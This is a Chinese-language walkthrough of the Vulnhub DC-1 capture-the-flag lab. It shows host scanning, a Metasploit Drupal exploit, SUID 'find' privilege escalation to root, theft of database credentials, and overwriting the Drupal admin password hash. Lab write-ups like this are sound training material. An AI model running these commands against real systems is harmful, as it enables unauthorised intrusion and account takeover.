前言

这次练习的是vulnhub平台下的DC系列靶机第一台,下载地址为https://www.vulnhub.com/entry/dc-1,292。该靶机的难度系数为简单,其中有五个flag,我们在练习的过程中可以直接跳过其中以部分flag中的提示直接拿到root权限。下面就直接开始吧。

配置靶机

和上一台靶机一样,开机后没有自动分配到IP。如何配置可以看我上一篇博客https://blog.csdn.net/rpsate/article/details/119494515。但是这一次在配置的最后一步——重启网络服务出现了问题了,如下图所示。系统提示failed to open statefile /run/network/ifstate: No such file or directory failed.。既然缺少这个文件我们就给它补上。

在kali中执行面下面命令:

cat /run/network/ifstate

首先看一下kali中的这个文件里的内容,然后在靶机中写入同样的内容。

cd /run
mkdir network
cd network
echo "lo=lo">ifstate
echo "eth0=eth0">>ifstate

注意第二个echo后面是两个大于号的>>,这个符号的意思是追加文本的意思。如果用的是>符号,则会把前面写的内容覆盖掉。

在写好这个文件后就可以重启了,执行下面命令重启网络并查看本机IP地址。看到分配IP成功后就可以重启靶机了。

/etc/init.d/networking restart
ip address

收集信息

nmap -sn --min-parallelism 200 --min-hostgroup 256 192.168.119.0/24

-sn 代表存活主机扫描,不进行端口测探。

–min-parallelism 代表调整探测报文的并行度,也就是在扫描同一台主机时会发送很多个探测数据包,这个参数指定的数即nmap一次至少要发多少个数据包。

–min-hostgroup 代表调整并行扫描组的大小,也就是一次性同时对多少台主机进行扫描。

更详细内容可以参考:https://zhuanlan.zhihu.com/p/322244582,关于nmap的一些性能参数的学习。

通过nmap寻找到靶机的地址为192.168.119.125。下面就对靶机更加详细的扫描。

nmap -A -sV --min-parallelism 200 192.168.119.125

收集的信息还比较多,有80端口,22端口,111端口,还收集到了该网站用的cms是Drupal 7

通过浏览器打开这个网站看一看,但是没有发现什么有价值的信息。

漏洞利用

通常情况下,cms会存在比较多的漏洞,在cms中寻找突破口也是比较简单的。接下来我们就用msf来搜索一下该cms存在的漏洞。

msfconsole       //启动msfconsole
search drupal   //搜索与drupal有关的漏洞

搜索到的漏洞还是比较多的,我们从最新的漏洞开始,逐个尝试一下。在尝试第二个的时候获取到了shell。查看一下权限,发现是www-data

use 1
set rhosts 192.168.119.125
run
getuid

接下来就获取一个交互式的shell,这次获取交互式shell的方法是通过python来调用bash,与上次的方法效果一样。

shell
python -c 'import pty;pty.spawn("/bin/bash")'

查看一下当前目录的文件就会发现flag1,flag1中有提示配置文件,下一个flag的地方应该在配置文件中可以找到线索。

ls
cat flag1.txt

提权

我们先不急着找flag2,先尝试一下提权。在前面练习的靶机中linux系统几乎都是suid提权,这次我们还是来尝试一下suid提权。寻找一下具有s权限的文件。

find / -perm -u=s -type f -exec ls -la {} \; 2>/dev/null

-perm 是代表按指定权限搜索。

-u=s 其中u代表当前用户的权限,s代表suid权限,-号代表至少需要满足指定的权限,可以有更多的权限,但是不能少了这个指定权限。关于这个参数更详细的内容可以参考:https://blog.csdn.net/weixin_44061169/article/details/105784760

-tpye 代表搜索指定的类型,f代表文件。

-exec 代表搜索完后执行指定的命令,其中{}代表所搜到的结果,命令以;为结束标识。更详细内容可以参考:https://www.pianshen.com/article/86691137271/

2>/dev/null 代表将不显示错误信息,详细介绍已经在前面的博客讲了,可以参考我前面的博文。


看,非常惊喜的找到了一个find,通过find可以很容易的提升至root权限,看来suid提权在linux中是非常普遍的,suid提权的原理已经在前面的博文中讲解了,这里就不在赘述。

suid提权详细内容可以参考:https://cloud.tencent.com/developer/article/1600994

echo >a
find a -exec /bin/bash \;
id

echo >a 是创建一个文件,提供给find来搜索。因为find每找到一个文件就会执行一次命令,为了让find只执行一次,所以创建一个独特的文件供find搜索。


没有提权成功,经过长时间的研究后发现执行/bin/sh能提权成功。因为sh指向的文件时/bin/dash,这两个都能执行shell命令,但是dash是个简易版的shell执行程序。因为/bin/bash 比较高级,所以它考虑的事就会多一点,它会在执行时强制把euid(suid)转化成当前用户的uid,也就是不以root权限执行。但是加一个参数-p的话就不会强制转化euid了。如下图所示,加上参数-p即可提权成功。
更详细内容可以参考:https://zhuanlan.zhihu.com/p/156795223?from_voters_page=true

find a -exec /bin/bash -p \;
或者
find a -exec /bin/sh \;


提权成功,可以获取最终的flag了。

cd root
cat thefinalflag.txt

获取其他flag

按照前面打靶机的经验来看,网站目录里必定有个数据库配置文件,里面包含着账号和密码。这个账号和密码也许会和系统管理员账号密码或其他服务程序的账号相同。现在就去网站目录里面找一找数据库配置文件。


最终在/sites/default这个目录中找了了配置文件settings.php,在这个文件中发现了账号dbuser,密码R0ck3t。直接连接mysql数据库并查询用户数据。注意flag2也在这个文件中。

mysql -udbuser -pR0ck3t

-u 后面是账号,-p 后面是密码,不用加空格。

show databases;          //查看有哪些数据库
use drupaldb;           //选择drupaldb数据库
show tables;            //查看drupaldb中有哪些表
select * from users;    //查询users表中所有数据


通过查询 users报中的账号得知admin的密码是$S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR,但是这种密文与linux中系统账号的密文十分类似。仔细分析,又与系统账号的加密方式不同,这个应该是采用了独特的加密方式,下一步可以在网站目录里面找找有没有加密的脚本文件。
网站的根目录下有一个scripts的文件夹,这个名字就很脚本。最终在这个目录里面发现一个名为password-hash.sh的脚本文件,该文件应该就是密码的加密脚本了。

执行脚本对密码admin加密。

./password-hash.sh admin


发现报错了,提示缺少文件。我们检查一下这个脚本文件。

vi password-hash.sh

看到这个我发现是文件引用出现了问题,引用的文件在网站根目录下的includes文件夹中,但是我们执行脚本的目录是 scripts,所以这个脚本就会把scripts当成根目录,所以我们应该到网站更目录执行这个脚本。

cd /var/www
./scripts/password-hash.sh admin


现在就执行成功了,admin加密后的密文是$S$Da5pH6rAqzOZUH6j8Q7uW967xXBOTKhi3/ebKFRXwCpAJU4vb6Vo。接下来我们把admin的密码修改成这个密文。执行下面命令:

mysql -udbuser -pR0ck3t      //连接数据库
use drupaldb                    //选择drupaldb库
update users set pass='$S$Da5pH6rAqzOZUH6j8Q7uW967xXBOTKhi3/ebKFRXwCpAJU4vb6Vo' where name='admin';  //更新密码

如上图所所示说明更新成功,下面我们就登陆一下管理员账号。登陆后点击左上角的Dashboard,然后点击中间的flag3

然后就打开了一个带有flag3的页面,并给出了提示。PERMSFIND-exec,我估计这个应该说的是用find命令,也就是提示我们用suid提权。但是我们在之前已经提权了,我们现在只需要找到flag4即可。

获取另一个flag

上面还有提示passwd,那我们查看一下这个文件试试。

cat /etc/paasswd

在这个文件中好像发现了flag4的位置,一气呵成获取flag4.

cd /home/flag4
ls
cat flag4.txt


这已经成功获取到了flag4,第5个flag已经在前面获取到了。挑战结束。
其实在这个靶机中还有许多其他的漏洞,以后可以慢慢研究,大家也不妨尝试一下利用其他漏洞。

参考文献

[1] http://t.zoukankan.com/ph1sh-p-12333122.html,Vulnhub_DC1 记录

[2] https://zhuanlan.zhihu.com/p/156795223?from_voters_page=true,为什么通过 find SUID 提权反弹的 shell 不是 root 权限?

vulnhub DC1 靶场练习相关推荐

  1. DC-1靶场搭建及渗透实战详细过程(DC靶场系列)

    目录 一. 环境搭建 1. 准备工具 渗透利器kali DC-1靶场机 2. 安装过程 二. 渗透过程 1. 信息收集 ①探测目标IP地址 ②探测目标IP开放端口 ③网页信息收集 2. 漏洞查找与利用 ...

  2. 看完这篇 教你玩转渗透测试靶机vulnhub——DC1

    Vulnhub靶机DC1渗透测试详解 Vulnhub靶机介绍: Vulnhub靶机下载: Vulnhub靶机安装: Vulnhub靶机漏洞详解: ①:信息收集: ②:漏洞发现: ③:漏洞利用: ④:S ...

  3. 内网渗透DC-1靶场通关(CTF)

    最新博客见我的个人博客地址 DC系列共9个靶场,本次来试玩一下DC-1,共有5个flag,下载地址. 下载下来后是 .ova 格式,建议使用vitualbox进行搭建,vmware可能存在兼容性问题. ...

  4. vulnhub dc1

    下载地址1:https://www.vulnhub.com/entry/dc-1,292/ 下载地址2:https://pan.baidu.com/s/15CUDP2252c_1NFzMOWUKvQ ...

  5. VulnHub DC1靶机渗透测试

    1. 说明 虚拟机环境为VM VirtualBox2. 靶机下载地址:https://www.vulnhub.com/entry/dc-1,292/ 靶机:DC1 攻击机:kali 攻击目标:5个fl ...

  6. vulnhub Gigachad 靶场练习

    前言 这次我们练习的靶机是从vulnhub下载的靶机Gigachad:1,该靶机的难易程度为简单. 下载地址为https://www.vulnhub.com/entry/gigachad-1,657/ ...

  7. vulnhub DC7 靶场练习

    前言 这次练习的靶机是vulnhub平台下的DC系列靶机第7台,下载地址为https://www.vulnhub.com/entry/dc-7,356/.挑战该靶机的最终目的是获取root权限,然后读 ...

  8. vulnhub:DC1靶机

    一.主机扫描 扫描ip 查看开放的端口 开启了22.80.111.53567端口.还有操作系统的信息 二.信息收集 先去看看80端口的情况 利用Firefox的Wappalyzer插件发现管理系统为D ...

  9. DC靶场系列--DC1

    目录 引言 搭建环境 信息收集 漏洞分析 漏洞利用 引言 DC靶场,主要是通过web渗透技术,拿到web服务器的权限,会有flag做为标记,以拿到最终的flag为目标.DC1是vulnhub平台下的D ...

最新文章

  1. selector与layer-list 单边框效果
  2. 真的,千万不要给女朋友解释 什么是 “羊群效应”
  3. VSTO Office二次开发PPTRibbonX命令操作及对象添加
  4. [DP] LGTB 玩THD (复杂状态DP)
  5. Hit or Miss
  6. sublime text里添加对Gradle配置文件的支持
  7. windows linux 子系统折腾记
  8. 怎么在matlab中图像中外接矩形,Matlab 最小外接矩形
  9. Sicily-1063
  10. VS2015 编译程序时无法查找或打开PDB文件
  11. 南阳oj-----一种排序(set)
  12. PostgreSQL12.2_cn.chm 中文手册 最新版
  13. 彻底理解样本方差为何除以n-1
  14. NB-IoT、LoRa、eMTC、Zigbee、Sigfox、WiFi、蓝牙,谁能称霸物联网时代
  15. 【C/C++】标准库之 numeric
  16. php获取农历日期节日
  17. 一篇文章带你读懂批处理命令
  18. python ppt自动生成_实战 | Python自动生成PPT调研报告
  19. 旧金山犯罪预测与可视化分析
  20. Maven使用与学习

热门文章

  1. Zabbix导入mysql监控模板_Zabbix MySQL监控模板添加
  2. DMPC-PEG-PDMAEMA/β-CDP/PANI/聚酚胺/聚(N-异丙基丙烯酰胺/聚丙烯酸酯的应用
  3. ssm毕设项目木棉堂水果电商平台1r83i(java+VUE+Mybatis+Maven+Mysql+sprnig)
  4. (收藏)颜色图形,色值,中英文对照,RGB格式网址
  5. 数据结构进阶 八大排序算法详解
  6. Captcha must be filled out.
  7. 机器视觉标定以及标定板在机器视觉系统标定中的作用
  8. 稻城亚丁6日游之第三天(稻城-亚丁)
  9. Handler机制——同步屏障
  10. emergency call